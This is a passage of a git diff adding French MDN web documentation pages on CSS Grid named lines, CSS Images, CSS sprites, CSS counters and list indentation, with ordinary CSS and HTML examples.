+<p>Nous avons vu comment des lignes nommées permettaient de créer des zones nommées. Cela fonctionne également dans l'autre sens. Les zones nommées créent aussi des lignes nommées qui peuvent ensuite être utilisées pour placer les objets. Si on reprend l'exemple utilisé dans le guide sur les zones nommées, on peut utiliser les lignes créées implicitement pour voir comment cela fonctionne.</p>
+
+<p>Dans cet exemple, on ajoute un élément <code>div</code> supplémentaire et on lui ajoute la classe <code>overlay</code>. On déclare des zones nommées à l'aide de <code>grid-area</code> puis on indique la disposition via la propriété <code>grid-template-areas</code>. Les noms utilisés pour les zones sont :</p>
+
+<ul>
+ <li><code>hd</code></li>
+ <li><code>ft</code></li>
+ <li><code>main</code></li>
+ <li><code>sd</code></li>
+</ul>
+
+<p>Cela crée implicitement les lignes et colonnes suivantes :</p>
+
+<ul>
+ <li><code>hd-start</code></li>
+ <li><code>hd-end</code></li>
+ <li><code>sd-start</code></li>
+ <li><code>sd-end</code></li>
+ <li><code>main-start</code></li>
+ <li><code>main-end</code></li>
+ <li><code>ft-start</code></li>
+ <li><code>ft-end</code></li>
+</ul>
+
+<p>Dans l'image qui suit, on peut voir l'emplacement de ces lignes. Certaines lignes peuvent avoir deux noms (par exemple, <code>sd-end</code> et <code>main-start</code> font référence à la même ligne verticale).</p>
+
+<p><img alt="An image showing the implicit line names created by our grid areas." src="https://mdn.mozillademos.org/files/14699/5_multiple_lines_from_areas.png" style="height: 396px; width: 1140px;"></p>
+
+<p>On peut positionner <code>overlay</code> grâce à ces lignes implicites, de la même façon qu'on aurait positionner un objet avec des lignes créées explicitement :</p>
+
+<div id="implicit_lines_from_area">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(9, 1fr);
+  grid-auto-rows: minmax(100px, auto);
+  grid-template-areas:
+    "hd hd hd hd   hd   hd   hd   hd   hd"
+    "sd sd sd main main main main main main"
+    "ft ft ft ft   ft   ft   ft   ft   ft";
+}
+.header {
+  grid-area: hd;
+}
+.footer {
+  grid-area: ft;
+}
+.content {
+  grid-area: main;
+}
+.sidebar {
+  grid-area: sd;
+}
+.wrapper &gt; div.overlay {
+  z-index: 10;
+  grid-column: main-start / main-end;
+  grid-row: hd-start / ft-end;
+  border: 4px solid rgb(92,148,13);
+  background-color: rgba(92,148,13,.4);
+  color: rgb(92,148,13);
+  font-size: 150%;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="header"&gt;En-tête&lt;/div&gt;
+  &lt;div class="sidebar"&gt;Barre latérale&lt;/div&gt;
+  &lt;div class="content"&gt;Contenu&lt;/div&gt;
+  &lt;div class="footer"&gt;Pied de page&lt;/div&gt;
+  &lt;div class="overlay"&gt;Masque&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('implicit_lines_from_area', '500', '330')}}</p>
+</div>
+
+<p>Grâce à tout ça, on voit qu'on peut créer des lignes à partir de zones nommées et créer des zones à partir de lignes nommées. Aussi, mieux vaut prendre le temps de réfléchir aux noms utilisés lorsqu'on définit un grille. En effet, plus les noms utilisés seront clairs, plus la maintenance et le travail d'équipe seront simplifiés.</p>
+
+<h2 id="Utiliser_plusieurs_lignes_avec_le_même_nom_repeat()">Utiliser plusieurs lignes avec le même nom : <code>repeat()</code></h2>
+
+<p>Si vous souhaitez que chaque ligne ait un nom différent, il faudra alors définir la piste de façon détaillée et non utiliser la syntaxe avec <code>repeat()</code> car il faut préciser le nom de la ligne entre crochets lorsqu'on définit les pistes. Si vous utilisez la syntaxe avec <code>repeat()</code>, vous obtiendrez plusieurs lignes avec le même nom… ce qui peut également être utile.</p>
+
+<p>Dans l'exemple qui suit, nous allons créer une grille avec douze colonnes de même largeur. Avant de définir la taille d'une piste pour la colonne (<code>1fr</code>), on définit un nom : <code>[col-start]</code>. Cela signifie qu'on aura une grille avec 12 colonnes, toutes intitulées <code>col-start</code> et qui mesureront chacune <code>1fr</code> de large.</p>
+
+<div id="multiple_lines_same_name">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(12, [col-start] 1fr);
+}</pre>
+
+<p>Une fois la grille créée, on peut y placer les objets. On a alors plusieurs lignes avec le nom <code>col-start</code> et si on place un objet après la ligne <code>col-start</code>, la grille utilisera la première ligne intitulée <code>col-start</code> (dans notre cas, c'est la ligne la plus à gauche). Pour indiquer une autre ligne, on utilisera le nom, suivi du numéro de cette ligne. Ainsi, pour placer un objet à partir de la première ligne jusqu'à la cinquième, on pourra utiliser :</p>
+
+<pre class="brush: css">.item1 {
+  grid-column: col-start / col-start 5
+}
+</pre>
+
+<p>On peut également utiliser le mot-clé <code>span</code>. Avec la règle suivante, le deuxième objet sera placé à partir de la septième ligne et occupera 3 lignes :</p>
+
+<pre class="brush: css">.item2 {
+  grid-column: col-start 7 / span 3;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Je vais de col-start 1 à col-start 5&lt;/div&gt;
+  &lt;div class="item2"&gt;Je vais de col-start 7 et je m'étends sur 3 lignes&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>{{EmbedLiveSample('multiple_lines_same_name', '500', '330')}}</p>
+</div>
+
+<p>Si vous observez cette disposition grâce à l'outil de mise en évidence des grilles dans Firefox, vous verrez les différentes lignes et le placement des éléments sur ces lignes :</p>
+
+<p><img alt="The 12 column grid with items placed. The Grid Highlighter shows the position of the lines." src="https://mdn.mozillademos.org/files/14695/5_named_lines1.png" style="height: 156px; width: 1958px;"></p>
+
+<p>La syntaxe <code>repeat()</code> permet également d'utiliser une liste de plusieurs pistes et pas uniquement une seule piste. Dans la règle qui suit, on crée une grille composée de huit pistes qui commence par une colonne plus étroite (<code>1fr</code>), intitulée <code>col1-start</code>, et qui est suivie par une colonne plus large (<code>3fr</code>), intitulée <code>col2-start</code>.</p>
+
+<pre class="brush: css">.wrapper {
+  grid-template-columns: repeat(4, [col1-start] 1fr [col2-start] 3fr);
+}
+</pre>
+
+<p>Si on utilise <code>repeat()</code> et qu'on place deux lignes l'une à la suite de l'autre, ces lignes seront fusionnées et on aura le même résultat que si on avait donné plusieurs noms à un même ligne. La règle suivante permet de créer quatre pistes dont la largeur est <code>1fr</code>, chacune avec un début et une fin.</p>
+
+<pre class="brush: css">.wrapper {
+  grid-template-columns: repeat(4, [col-start] 1fr [col-end] );
+}
+</pre>
+
+<p>Si on écrivait la même définition sans utiliser <code>repeat()</code>, on aurait la forme suivante :</p>
+
+<pre class="brush: css">.wrapper {
+  grid-template-columns: [col-start] 1fr [col-end col-start] 1fr [col-end col-start] 1fr  [col-end col-start] 1fr [col-end];
+}
+</pre>
+
+<p>Si vous utilisez une liste de pistes, vous pouvez utiliser le mot-clé <code>span</code> pour indiquer le nombre de lignes à occuper mais aussi pour indiquer le nombre de lignes à occuper qui ont un nom donné.</p>
+
+<div id="span_line_number">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(6, [col1-start] 1fr [col2-start] 3fr);
+}
+.item1 {
+  grid-column: col1-start / col2-start 2
+}
+.item2 {
+  grid-row: 2;
+  grid-column: col1-start 2 / span 2 col1-start;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Je suis placé à partir de la première col1-start et jusqu'à la deuxième col2-start.&lt;/div&gt;
+  &lt;div class="item2"&gt;Je suis placé à partir de la deuxième col1-start et je m'étend sur deux lignes nommées col1-start&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('span_line_number', '500', '330')}}</p>
+</div>
+
+<p>Avec ces trois derniers articles, nous avons vu de nombreuses façons qui permettaient de placer des objets sur une grille. Cela peut sembler un peu trop inutilement compliqué mais il faut garder à l'esprit que toutes ne sont pas obligatoirement nécessaires. Dans la pratique, utiliser des zones nommés pour des dispositions simples permet d'avoir une représentation visuelle simple et de déplacer les différents objets facilement sur la grille.</p>
+
+<p>Si on travaille avec une disposition sur plusieurs colonnes (comme celles utilisées dans ces derniers exemples), les lignes nommées feront parfaitement l'affaire. Si vous prenez par exemple des <em>frameworks</em> tels que Foundation ou Bootstrap, ceux-ci fonctionnent sur une grille avec 12 colonnes. Le <em>framework</em> importe ensuite le code nécessaire aux différents calculs afin de s'assurer que l'ensemble des colonnes fasse 100%. En utilisant une grille CSS, le seule code nécessaire pour obtenir un tel <em>framework</em> se résume à :</p>
+
+<div class="three_column">
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-gap: 10px;
+  grid-template-columns: repeat(12, [col-start] 1fr);
+}
+</pre>
+
+<p>On peut alors utiliser ce modèle pour mettre en forme notre page. Par exemple, on peut créer une disposition avec trois colonnes, un en-tête et un pied de page avec les règles suivantes :</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; * {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;header class="main-header"&gt;Je suis l'en-tête&lt;/header&gt;
+   &lt;aside class="side1"&gt;Je suis la barre latérale 1&lt;/aside&gt;
+   &lt;article class="content"&gt;Je suis l'article&lt;/article&gt;
+   &lt;aside class="side2"&gt;Je suis la barre latérale 2&lt;/aside&gt;
+   &lt;footer class="main-footer"&gt;Je suis le pied de page&lt;/footer&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Pour placer ces éléments, on utilise la grille de la façon suivante :</p>
+
+<pre class="brush: css">.main-header,
+.main-footer  {
+  grid-column: col-start / span 12;
+}
+.side1 {
+  grid-column: col-start / span 3;
+  grid-row: 2;
+}
+.content {
+  grid-column: col-start 4 / span 6;
+  grid-row: 2;
+}
+.side2 {
+  grid-column: col-start 10 / span 3;
+  grid-row: 2;
+}
+</pre>
+
+<p>{{EmbedLiveSample('three_column', '500', '330')}}</p>
+
+<p>Là encore, l'outil de mise en évidence de la grille permet de voir comment le placement fonctionne :</p>
+
+<p><img alt="The layout with the grid highlighted." src="https://mdn.mozillademos.org/files/14697/5_named_lines2.png" style="height: 378px; width: 1958px;"></p>
+</div>
+
+<p>Et voilà tout ce dont on a besoin. Aucun calcul compliqué, la grille a automatiquement retiré la gouttière de 10 pixels avant d'affecter l'espace aux pistes qui mesurent <code>1fr</code>. Lorsque vous construirez vos propres disposition, vous serez plus à l'aise avec la syntaxe et utiliserez les techniques qui sont les plus pertinentes pour vos projets. Essayez de construire cetaines dispositions classiques avec des différentes méthodes, vous deviendrez plus efficaces pour manipuler les grilles CSS. Dans le prochain guide, nous verrons comment la grille peut placer des objets automatiquement, sans même avoir besoin d'utiliser les propriétés de placement !</p>
+
+<p>{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Définir_des_zones_sur_une_grille", "Web/CSS/CSS_Grid_Layout/Placement_automatique_sur_une_grille_CSS","Web/CSS/CSS_Grid_Layout")}}</p>
diff --git a/files/fr/web/css/css_images/index.html b/files/fr/web/css/css_images/index.html
new file mode 100644
index 0000000000..1bc5acf7c8
--- /dev/null
+++ b/files/fr/web/css/css_images/index.html
@@ -0,0 +1,106 @@
+---
+title: CSS Images
+slug: Web/CSS/CSS_Images
+tags:
+  - Aperçu
+  - CSS
+  - CSS Images
+  - Reference
+translation_of: Web/CSS/CSS_Images
+---
+<div>{{CSSRef}}</div>
+
+<p><em><strong>CSS Images</strong></em> est un module CSS qui définit les types d'images qui peuvent être utilisés (le type {{cssxref("&lt;image&gt;")}}, les URLs qu'elles contiennent, les dégradés et autres types d'images), comment les redimensionner et comment elles, ainsi que le contenu remplacé, interagissent avec les différents modèles de mise en page.</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("image-orientation")}}</li>
+ <li>{{CSSxRef("image-rendering")}}</li>
+ <li>{{CSSxRef("image-resolution")}}</li>
+ <li>{{CSSxRef("object-fit")}}</li>
+ <li>{{CSSxRef("object-position")}}</li>
+</ul>
+</div>
+
+<h3 id="Fonctions">Fonctions</h3>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("linear-gradient", "linear-gradient()")}}</li>
+ <li>{{CSSxRef("radial-gradient", "radial-gradient()")}}</li>
+ <li>{{CSSxRef("repeating-linear-gradient", "repeating-linear-gradient()")}}</li>
+ <li>{{CSSxRef("repeating-radial-gradient", "repeating-radial-gradient()")}}</li>
+ <li>{{CSSxRef("conic-gradient")}}</li>
+ <li>{{CSSxRef("repeating-conic-gradient", "repeating-conic-gradient()")}}</li>
+ <li>{{CSSxRef("url", "url()")}}</li>
+ <li>{{CSSxRef("element", "element()")}}</li>
+ <li>{{CSSxRef("_image", "image()")}}</li>
+ <li>{{CSSxRef("cross-fade", "cross-fade()")}}</li>
+</ul>
+</div>
+
+<h3 id="Types_de_données">Types de données</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("&lt;image&gt;")}}</li>
+ <li>{{cssxref("&lt;gradient&gt;")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Web/CSS/Utilisation_de_dégradés_CSS">Utilisation de dégradés CSS</a></dt>
+ <dd>Présente un type spécifique d'images CSS, les <em>dégradés</em>, et comment les créer et les utiliser.</dd>
+ <dt><a href="/fr/docs/Web/CSS/CSS_Images/Sprites_CSS">Les <em>sprites</em> CSS</a></dt>
+ <dd>Décrit la technique classique consistant à regrouper plusieurs images en un seul document pour économiser des requêtes de téléchargement et rendre une page disponible plus rapidement.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Images")}}</td>
+   <td>{{Spec2("CSS4 Images")}}</td>
+   <td>Ajout de {{CSSxRef("image-resolution")}},{{CSSxRef("conic-gradient")}} et {{CSSxRef("_image", "image()")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Images")}}</td>
+   <td>{{Spec2("CSS3 Images")}}</td>
+   <td>Ajout de {{CSSxRef("image-orientation")}}, {{CSSxRef("image-rendering")}}, {{CSSxRef("object-fit")}} et {{CSSxRef("object-position")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Compat", "#css-%3Cimage%3E-type", "CSS Gradients")}}</td>
+   <td>{{Spec2("Compat")}}</td>
+   <td>Standardisation de la version préfixée avec <code>-webkit</code> pour les valeurs de fonctions de dégradé</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Values", "#urls", "&lt;url&gt;")}}</td>
+   <td>{{Spec2("CSS3 Values")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{Specname("CSS2.1", "syndata.html#uri", "&lt;uri&gt;")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS1", "#url", "&lt;url&gt;")}}</td>
+   <td>{{Spec2("CSS1")}}</td>
+   <td>Définition intiale.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/css/css_images/sprites_css/index.html b/files/fr/web/css/css_images/sprites_css/index.html
new file mode 100644
index 0000000000..a141a8a11e
--- /dev/null
+++ b/files/fr/web/css/css_images/sprites_css/index.html
@@ -0,0 +1,51 @@
+---
+title: Les sprites CSS
+slug: Web/CSS/CSS_Images/Sprites_CSS
+tags:
+  - Avancé
+  - CSS
+  - Guide
+translation_of: Web/CSS/CSS_Images/Implementing_image_sprites_in_CSS
+---
+<div>{{CSSRef}}</div>
+
+<p>Les <em>sprites</em> sont utilisées dans de nombreuses applications web où de multiples images sont utilisées. Au lieu d'avoir une image par fichier, on économise de la bande passante et de la mémoire en les envoyant toute dans le même fichier, ainsi, le nombre de requêtes HTTP diminue. On utilise alors <code>background-position</code> pour choisir l'image qu'on souhaite utiliser.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Avec HTTP/2, il peut être plus judicieux d'utiliser de nombreuses « petites » requêtes.</p>
+</div>
+
+<h2 id="Implémentation">Implémentation</h2>
+
+<p>Supposons qu'une image est affichée pour chaque élement de la classe <code>toolbtn</code> :</p>
+
+<pre class="brush:css">.toolbtn {
+  background: url('myfile.png');
+  display: inline-block;
+  height: 20px;
+  width: 20px;
+}</pre>
+
+<p>Une position peut être ajoutée avec les valeurs x et y après {{cssxref("url()")}} pour décaler l'image de fond ({{cssxref("background")}}). Cela fonctionne aussi avec {{cssxref("background-position")}}. Par exemple :</p>
+
+<pre class="brush:css">#btn1 {
+  background-position: -20px 0px;
+}
+
+#btn2 {
+  background-position: -40px 0px;
+}</pre>
+
+<p>L'élément avec l'ID « btn1 » bouge vers la gauche de 20 pixels et l'élément avec l'ID « btn2 » vers la gauche de 40 pixels (en présumant que ces deux éléments aient aussi la classe <code>toolbtn</code>).</p>
+
+<p>De la même manière, vous pouvez faire un effet de transition au survol :</p>
+
+<pre class="brush:css">#btn:hover {
+  background-position: <var>&lt;pixels shifted right&gt;</var>px <var>&lt;pixels shifted down&gt;</var>px;
+}</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://css-tricks.com/snippets/css/perfect-css-sprite-sliding-doors-button/">Une démonstration sur CSS Tricks</a></li>
+</ul>
diff --git a/files/fr/web/css/css_lists/compteurs_css/index.html b/files/fr/web/css/css_lists/compteurs_css/index.html
new file mode 100644
index 0000000000..7ca83181c4
--- /dev/null
+++ b/files/fr/web/css/css_lists/compteurs_css/index.html
@@ -0,0 +1,148 @@
+---
+title: Compteurs CSS
+slug: Web/CSS/CSS_Lists/Compteurs_CSS
+tags:
+  - Avancé
+  - CSS
+  - Guide
+translation_of: Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters
+---
+<div>{{CSSRef}}</div>
+
+<p>Les <strong>compteurs CSS</strong> sont des variables dont les valeurs sont incrémentées par les règles CSS et qui permettent de savoir combien de fois elles sont utilisées. Cela permet par exemple d'adapter la mise en forme du contenu en fonction de son emplacement dans le document.</p>
+
+<p>La valeur d'un compteur peut être manipulée grâce aux propriétés {{cssxref("counter-reset")}}. {{cssxref("counter-increment")}} et on peut les afficher sur la page grâce aux fonctions <code>counter()</code> et <code>counters()</code> dans la propriété {{cssxref("content")}}.</p>
+
+<h2 id="Utiliser_les_compteurs">Utiliser les compteurs</h2>
+
+<h3 id="Manipuler_la_valeur_d'un_compteur">Manipuler la valeur d'un compteur</h3>
+
+<p>Pour utiliser un compteur CSS, il faut d'abord réinitialiser sa valeur (0 par défaut) à l'aide de {{cssxref("counter-reset")}}. Pour incrémenter un compteur initialisé, on peut utiliser {{cssxref("counter-increment")}}. Attention le nom du compteur ne peut pas être <code>none</code>, <code>inherit</code> ou <code>initial</code>.</p>
+
+<h3 id="Afficher_un_compteur">Afficher un compteur</h3>
+
+<p>Pour ajouter un compteur au contenu d'un élément, il faut utiliser la fonction {{cssxref("counter")}} ou {{cssxref("counters")}} dans une propriété {{cssxref("content")}}.</p>
+
+<p>La fonction <code>counter()</code> prend deux formes : <code>counter(nom)</code> ou <code>counter(nom, style)</code>. Le texte ainsi généré est celui du compteur le plus proche avec ce nom. Le contenu est mis en forme avec le style indiqué (par défaut, c'est <code>decimal</code>).</p>
+
+<p>La fonction <code>counters()</code> prend également deux formes : <code>counters(nom, chaine)</code> ou <code>counters(nom, chaine style)</code>. Le texte généré aura la valeur de l'ensemble des compteurs présents dans la portée du pseudo-élément (du plus loin au plus proche), séparés par la chaîne de caractères passée en argument. Les compteurs sont mis en forme avec le style indiqué (par défaut, c'est <code>decimal</code>).</p>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<p>Dans l'exemple qui suit, la feuille de style CSS préfixe chaque titre de niveau 3 avec « Section &lt;la valeur du compteur&gt; : ».</p>
+
+<div class="note">
+<p><strong>Note :</strong> La fonction {{cssxref("counter()")}} et la fonction {{cssxref("counters()")}} peuvent toutes les deux prendre un dernier argument qui correspond au style de liste utilisé (par défaut, c'est <code>decimal</code>).</p>
+</div>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">body {
+  counter-reset: section;                    /* On initialise le compteur à 0 */
+}
+
+h3::before {
+  counter-increment: section;                /* On incrémente le compteur section */
+  content: "Section " counter(section) " : "; /* On affiche le compteur */
+}
+</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;h3&gt;Introduction&lt;/h3&gt;
+&lt;h3&gt;Corps&lt;/h3&gt;
+&lt;h3&gt;Conclusion&lt;/h3&gt;</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Utiliser_les_compteurs", 300, 150)}}</p>
+
+<h2 id="Imbriquer_des_compteurs">Imbriquer des compteurs</h2>
+
+<p>Un compteur CSS est particulièrement utile lorsqu'il s'agit de gérer les listes générées dynamiquement. En utilisant la fonction {{cssxref("counters","counters()")}}, on peut insérer une chaîne de caractères entre les différents niveaux des compteurs imbriqués.</p>
+
+<h3 id="CSS_2">CSS</h3>
+
+<pre class="brush: css">ol {
+  counter-reset: section;                /* On crée une nouvelle instance du
+                                            compteur section avec chaque ol */
+  list-style-type: none;
+}
+
+li::before {
+  counter-increment: section;            /* On incrémente uniquement cette
+                                            instance du compteur */
+  content: counters(section,".") " ";    /* On ajoute la valeur de toutes les
+                                            instances séparées par ".". */
+                                         /* Si on doit supporter &lt; IE8 il faudra
+                                            faire attention à ce qu'il n'y ait
+                                            aucun blanc après ',' */
+}
+</pre>
+
+<h3 id="HTML_2">HTML</h3>
+
+<pre class="brush: html">&lt;ol&gt;
+  &lt;li&gt;item&lt;/li&gt;          &lt;!-- 1     --&gt;
+  &lt;li&gt;item               &lt;!-- 2     --&gt;
+    &lt;ol&gt;
+      &lt;li&gt;item&lt;/li&gt;      &lt;!-- 2.1   --&gt;
+      &lt;li&gt;item&lt;/li&gt;      &lt;!-- 2.2   --&gt;
+      &lt;li&gt;item           &lt;!-- 2.3   --&gt;
+        &lt;ol&gt;
+          &lt;li&gt;item&lt;/li&gt;  &lt;!-- 2.3.1 --&gt;
+          &lt;li&gt;item&lt;/li&gt;  &lt;!-- 2.3.2 --&gt;
+        &lt;/ol&gt;
+        &lt;ol&gt;
+          &lt;li&gt;item&lt;/li&gt;  &lt;!-- 2.3.1 --&gt;
+          &lt;li&gt;item&lt;/li&gt;  &lt;!-- 2.3.2 --&gt;
+          &lt;li&gt;item&lt;/li&gt;  &lt;!-- 2.3.3 --&gt;
+        &lt;/ol&gt;
+      &lt;/li&gt;
+      &lt;li&gt;item&lt;/li&gt;      &lt;!-- 2.4   --&gt;
+    &lt;/ol&gt;
+  &lt;/li&gt;
+  &lt;li&gt;item&lt;/li&gt;          &lt;!-- 3     --&gt;
+  &lt;li&gt;item&lt;/li&gt;          &lt;!-- 4     --&gt;
+&lt;/ol&gt;
+&lt;ol&gt;
+  &lt;li&gt;item&lt;/li&gt;          &lt;!-- 1     --&gt;
+  &lt;li&gt;item&lt;/li&gt;          &lt;!-- 2     --&gt;
+&lt;/ol&gt;</pre>
+
+<h3 id="Résultat_2">Résultat</h3>
+
+<p>{{EmbedLiveSample("Imbriquer_des_compteurs", 250, 350)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Lists", "#auto-numbering", "CSS Counters")}}</td>
+   <td>{{Spec2("CSS3 Lists")}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "generate.html#counters", "CSS Counters")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("counter-reset")}}</li>
+ <li>{{cssxref("counter-set")}}</li>
+ <li>{{cssxref("counter-increment")}}</li>
+ <li>{{cssxref("@counter-style")}}</li>
+</ul>
diff --git a/files/fr/web/css/css_lists/indentation_homogène_des_listes/index.html b/files/fr/web/css/css_lists/indentation_homogène_des_listes/index.html
new file mode 100644
index 0000000000..52a1cfbc33
--- /dev/null
+++ b/files/fr/web/css/css_lists/indentation_homogène_des_listes/index.html
@@ -0,0 +1,105 @@
+---
+title: Indentation homogène des listes
+slug: Web/CSS/CSS_Lists/Indentation_homogène_des_listes
+tags:
+  - CSS
+  - Guide
+  - Intermédiaire
+translation_of: Web/CSS/CSS_Lists_and_Counters/Consistent_list_indentation
+---
+<div>{{CSSRef}}</div>
+
+<p>La modification la plus fréquemment apportée sur une liste concerne la distance d'indentation (autrement dit, la distance de laquelle les éléments sont décalés vers la droite). Ce point peut être source de frustration car les navigateurs se comportent différemment à ce sujet. Ainsi, si on déclare une liste sans marge à gauche, elles sont déplacées Internet Explorer mais restent obstinément à la même place dans les navigateurs Gecko.</p>
+
+<p>Pour comprendre pourquoi cela se produit ainsi, et surtout afin d'éviter ces problèmes, nous allons devoir examiner en détail la construction des listes.</p>
+
+<h2 id="Construire_une_liste">Construire une liste</h2>
+
+<p>Commençons par une simple liste minimale. L'élément de la liste ne possède aucune puce (le marqueur devant l'élément). Pour le moment, il ne fait pas partie d'une liste.</p>
+
+<p><img alt="" src="/@api/deki/files/619/=Consistent-list-indentation-figure1.gif"></p>
+
+<p>La bordure pointillée rouge représente la limite extérieure de la zone de contenu de l'élément de la liste. Pour le moment, cet élément ne possède ni remplissage (<em>padding</em>) ni bordure. Si on ajoute deux autres éléments à la liste, on obtient alors ce résultat :</p>
+
+<p><img alt="" src="/@api/deki/files/620/=Consistent-list-indentation-figure2.gif" style="height: 100px; width: 200px;"></p>
+
+<p>À présent, nous allons placer ces éléments dans un élément parent. Pour cet exemple, nous utiliserons une liste non-ordonnée avec {{HTMLElement("ul")}}. Selon <a href="/fr/docs/Apprendre/CSS/Les_bases/Le_mod%C3%A8le_de_bo%C3%AEte">le modèle de boîtes CSS</a>, les boîtes des éléments de la liste s'inscrivent dans la boîte de contenu de l'élément parent. Cette dernière n'a, pour l'instant, aucune marge ni aucun remplissage (<em>padding</em>). On obtient donc ce résultat :</p>
+
+<p><img alt="" src="/@api/deki/files/621/=Consistent-list-indentation-figure3.gif"></p>
+
+<p>Ici, la bordure pointillée bleue révèle les limites de la zone de contenu de l'élément <code>ul</code>. Puisqu'il n'a pas de remplissage (<em>padding</em>), cette limite épouse étroitement celles des trois éléments de la liste.</p>
+
+<p>On ajoute maintenant les puces aux éléments de la liste. Puisqu'il s'agit d'une liste non ordonnée, nous ajoutons les traditionnelles puces en forme de disques pleins, comme ceci :</p>
+
+<p><img alt="" src="/@api/deki/files/622/=Consistent-list-indentation-figure4.gif"></p>
+
+<p>Visuellement, ces marqueurs apparaissent en dehors de la zone de contenu de l'élément <code>ul</code>, mais ce n'est pas ce qui est le plus important ici. Ce qui compte, c'est que ces marqueurs prennent place en dehors de la « boîte principale » des éléments <code>li</code>. Ils apparaissent comme des sortes d'appendices aux items de liste, qui se tiennent en dehors de la zone de contenu de chaque item, tout en étant attaché à chaque <code>li</code>.</p>
+
+<p>C'est pourquoi, dans tous les navigateurs sauf Internet Explorer Windows, les marqueurs sont placés à l'extérieur des bordures de l'élément <code>li</code>, dès lors que la propriété {{cssxref("list-style-position")}} vaut <code>outside</code>. Si cette valeur est changée en <code>inside</code>, les marqueurs seront alors déplacés à l'intérieur du contenu des éléments <code>li</code>, comme s'il s'agissait d'une boîte en ligne placée au tout début de ceux-ci.</p>
+
+<h3 id="Obtenir_une_double_indentation">Obtenir une double indentation</h3>
+
+<p>Comment cela va-t-il être rendu dans un document ? Pour le moment, nous avons un résultat équivalent à ces styles :</p>
+
+<pre class="brush: css">ul, li {
+  margin-left: 0;
+  padding-left: 0;
+}</pre>
+
+<p>Si nous plaçons cette liste en l'état dans un document, elle n'aura aucune indentation apparente, et nos marqueurs courront le risque d'être rejetés au-delà de la limite gauche de la fenêtre du navigateur.</p>
+
+<p>Afin d'éviter ça et d'imposer une indentation, le navigateur pourra implémenter l'une des trois approches suivantes :</p>
+
+<ol>
